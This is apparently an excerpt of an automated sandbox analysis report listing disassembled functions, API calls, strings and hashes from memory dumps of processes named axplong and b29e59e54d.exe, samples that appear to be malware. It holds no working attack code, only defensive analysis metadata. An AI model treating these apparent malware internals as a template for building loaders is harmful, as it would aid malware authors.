Function 00A0645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b0ff9527c0c418714619217b05675dc2ee5020a69fee72a65bbb998a00d799b
Instruction ID: f2c4bc406cc6de64c7cda9378592106fa3776ebd4a14fb60adbecc86c8356c5f
Opcode Fuzzy Hash: 8b0ff9527c0c418714619217b05675dc2ee5020a69fee72a65bbb998a00d799b
Instruction Fuzzy Hash: A2E0C23024260CAFCF29BB54EA49D8C3B1AFF11748F048511FC048A261CB36EDD2C980

Function 00A0A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 400c63fd6e691b00e2939fd264e30200bf41017bb73bcf146bd74addbcfb8362
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 47E0B672925228EBCB15DB989A5498AF2ACEB49B50F654596B501D3291C270DF00C7D1

Function 009E2E20 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

invalid stoi argument, xrefs: 009E425A
8KG0fymoFx==, xrefs: 009E2EC7
HBhr, xrefs: 009E378F
WGt=, xrefs: 009E33BA
stoi argument out of range, xrefs: 009E4269
246122658369, xrefs: 009E33D4
Fz==, xrefs: 009E369E

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$8KG0fymoFx==$Fz==$HBhr$WGt=$invalid stoi argument$stoi argument out of range
API String ID: 0-2390467879
Opcode ID: 3d071b6412dd0be19ce576ae7ee72419562d58dc94ece8bc05e80f90aa5cd309
Instruction ID: 4e87e8ab284b2903b8ad8053103d1bfb4f7502d835efde7fd8678d875314f68d
Opcode Fuzzy Hash: 3d071b6412dd0be19ce576ae7ee72419562d58dc94ece8bc05e80f90aa5cd309
Instruction Fuzzy Hash: F302D170900288EFEF15DFA9C849BDEBBB5AF45304F508558F805A7282D7759E84CFA2

Function 00A04770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A047A7
___except_validate_context_record.LIBVCRUNTIME ref: 00A047AF
_ValidateLocalCookies.LIBCMT ref: 00A04838
__IsNonwritableInCurrentImage.LIBCMT ref: 00A04863
_ValidateLocalCookies.LIBCMT ref: 00A048B8

Strings

csm, xrefs: 00A0484D

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 707731f781d6359df5b971d68defbf83de82b6c575172b046bbc6aa6d1c8fa35
Instruction ID: 756f3c9cc8ae85f23165a173b03ead46e12845d905257bc9d2313d0cd7d78230
Opcode Fuzzy Hash: 707731f781d6359df5b971d68defbf83de82b6c575172b046bbc6aa6d1c8fa35
Instruction Fuzzy Hash: F051B474A0024CABCF14DF68E885AAE7BB5BF49314F14C465EA149B3D2D731EE49CB90

Function 00A15942 Relevance: 8.9, Strings: 7, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

Strings

exp, xrefs: 00A159DA, 00A15A3F
log10, xrefs: 00A1599D, 00A159AC
asin, xrefs: 00A15A88
sqrt, xrefs: 00A15A9A
pow, xrefs: 00A159F9, 00A15AA3, 00A15AF0
log, xrefs: 00A159B8, 00A159C7
acos, xrefs: 00A15A91

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 0-3064271455
Opcode ID: 060821319a9acf4e7e5b21fb0369d06045ff27b04756d774d0447b38f366aaff
Instruction ID: ea63fcc383631271666b2ea870221148a49bb63408a1a5ccb127e72ee1107a7c
Opcode Fuzzy Hash: 060821319a9acf4e7e5b21fb0369d06045ff27b04756d774d0447b38f366aaff
Instruction Fuzzy Hash: 50519B70D08A1ACBCF108FB8E88C5EDBFB4FF85354F154255D480AA264C7758AA6CF55

Function 00A070C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00A0710B

Strings

.exe, xrefs: 00A07118
.cmd, xrefs: 00A07129
.bat, xrefs: 00A0713A
.com, xrefs: 00A0714B

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: d750030ca256f5a49286178e17731e68dab63b7f43e8aac712b94a92188870f3
Instruction ID: 6d005d63c15c041f83c88cedf6ac7b3263a2d7db77165094e5afaaa25bc8a6b9
Opcode Fuzzy Hash: d750030ca256f5a49286178e17731e68dab63b7f43e8aac712b94a92188870f3
Instruction Fuzzy Hash: B1010837E1822A32A6186518BD1263F17889B82BB471A012AF954F73C1DF64EC0251A0

Function 009D2E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 009D2F1F
__Mtx_unlock.LIBCPMT ref: 009D2F8C
__Cnd_broadcast.LIBCPMT ref: 009D2FA3
__Mtx_unlock.LIBCPMT ref: 009D30B5
__Mtx_unlock.LIBCPMT ref: 009D315B

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 03eef7cd895a015c012a8f180ae98a210ecfc5406309d651bbfb5ab0aae16dde
Instruction ID: 7e34c5f3c94b036f40b962034750725240b4ae4382e2ff449cd273f670959771
Opcode Fuzzy Hash: 03eef7cd895a015c012a8f180ae98a210ecfc5406309d651bbfb5ab0aae16dde
Instruction Fuzzy Hash: EDA112B0945246AFDB22DF69C84476AB7B8FF55311F00C62AE815D7341EB34EE05CB92

Function 00A0C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A0CA37

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: e934f1e66d48dfd5817e19bb4134e3a58f7d2f2be7e4eea0593bf22d98efd0cb
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: D6B12832A0028D9FEB15CF68D8817AEBBF5EF55360F14826AE855DB382D6349D41CB60

Function 009EBAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 009EBAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 009EBB14
_xtime_get.LIBCPMT ref: 009EBB37
__Xtime_diff_to_millis2.LIBCPMT ref: 009EBB43

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: a3da72e5dff52e3a4e9ffaececd4f4d5a91f3933fb772cc2eba7dc4b71bd4b88
Instruction ID: 5dd18384e9b5e5478850c6d98dccba0c7d02a2e9e8b5ba64d00e9ea7a87d49e8
Opcode Fuzzy Hash: a3da72e5dff52e3a4e9ffaececd4f4d5a91f3933fb772cc2eba7dc4b71bd4b88
Instruction Fuzzy Hash: 1E2153B1901249AFDF11EFA5CC41AFEBBB9EF48710F000069F601B7251DB30AD028BA1

Function 009D42C0 Relevance: 5.1, Strings: 4, Instructions: 82COMMON

Download Yara Rule

Strings

future already retrieved, xrefs: 009D440A
promise already satisfied, xrefs: 009D4411
no state, xrefs: 009D4418
broken promise, xrefs: 009D4403

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285611946.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286878866.0000000000E96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287097298.0000000000E97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287405450.0000000000E98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287544714.0000000000E99000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: broken promise$future already retrieved$no state$promise already satisfied
API String ID: 0-3399861469
Opcode ID: 9895a3cbb7508e4707a053d8e5e36a7ced4849512402cd0d7b2b0b33275b0ff9
Instruction ID: 69b8d2db669ac1446d9b413daac2b39b933a3c20d2f7c0ba20f37405651ddfe4
Opcode Fuzzy Hash: 9895a3cbb7508e4707a053d8e5e36a7ced4849512402cd0d7b2b0b33275b0ff9
Instruction Fuzzy Hash: BF21B1716416009FD728CF1DCA48B2AF7E5FF84725F148A5EE4468B790DB75AC00CB80

Analysis Process: b29e59e54d.exePID: 2940, Parent PID: 3920COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.9%
Total number of Nodes:	1575
Total number of Limit Nodes:	60

Executed Functions

Function 008E42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 008E430D

Part of subcall function 008E6B57: _wcslen.LIBCMT ref: 008E6B6A

GetCurrentProcess.KERNEL32(?,0097CB64,00000000,?,?), ref: 008E4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 008E4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 008E4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 008E4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 008E4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 008E447B
GetSystemInfo.KERNEL32(?,?,?), ref: 008E44A0

Strings

GetNativeSystemInfo, xrefs: 008E4460
|O, xrefs: 009236F8
kernel32.dll, xrefs: 008E444F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: b6c6e08a9c2c21f0e56a03c305565724206e58cb6f9309d4abc579037f9f06d2
Instruction ID: 8b9d0b73634e9a2dae175b204fd3060636daca614b9bb1f12b6a88ae64ac4ea0
Opcode Fuzzy Hash: b6c6e08a9c2c21f0e56a03c305565724206e58cb6f9309d4abc579037f9f06d2
Instruction Fuzzy Hash: 9CA1386293E3D4CFCB11C7797E611993FE8BB23324B8896ACE045D3B65F2240544EB25

Function 008E42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,008E50AA,?,?,00000000,00000000), ref: 008E42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,008E50AA,?,?,00000000,00000000), ref: 008E42C9
LoadResource.KERNEL32(?,00000000,?,?,008E50AA,?,?,00000000,00000000,?,?,?,?,?,?,008E4F20), ref: 009235BE
SizeofResource.KERNEL32(?,00000000,?,?,008E50AA,?,?,00000000,00000000,?,?,?,?,?,?,008E4F20), ref: 009235D3
LockResource.KERNEL32(008E50AA,?,?,008E50AA,?,?,00000000,00000000,?,?,?,?,?,?,008E4F20,?), ref: 009235E6

Strings

SCRIPT, xrefs: 008E42BF

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 15b357c303f6fee8be88a3c7a20a76786c0ccee08f45a49234efe3b1c0df2225
Instruction ID: 590c1de4852fdfe1458c5ed16eb2fdb8e6ac4c7853d34a2e057876c0959eacdc
Opcode Fuzzy Hash: 15b357c303f6fee8be88a3c7a20a76786c0ccee08f45a49234efe3b1c0df2225
Instruction Fuzzy Hash: 67117CB1200701BFD7218B66DC48F677BB9EBC6B51F14816DB51AD6260DBB2D8409620

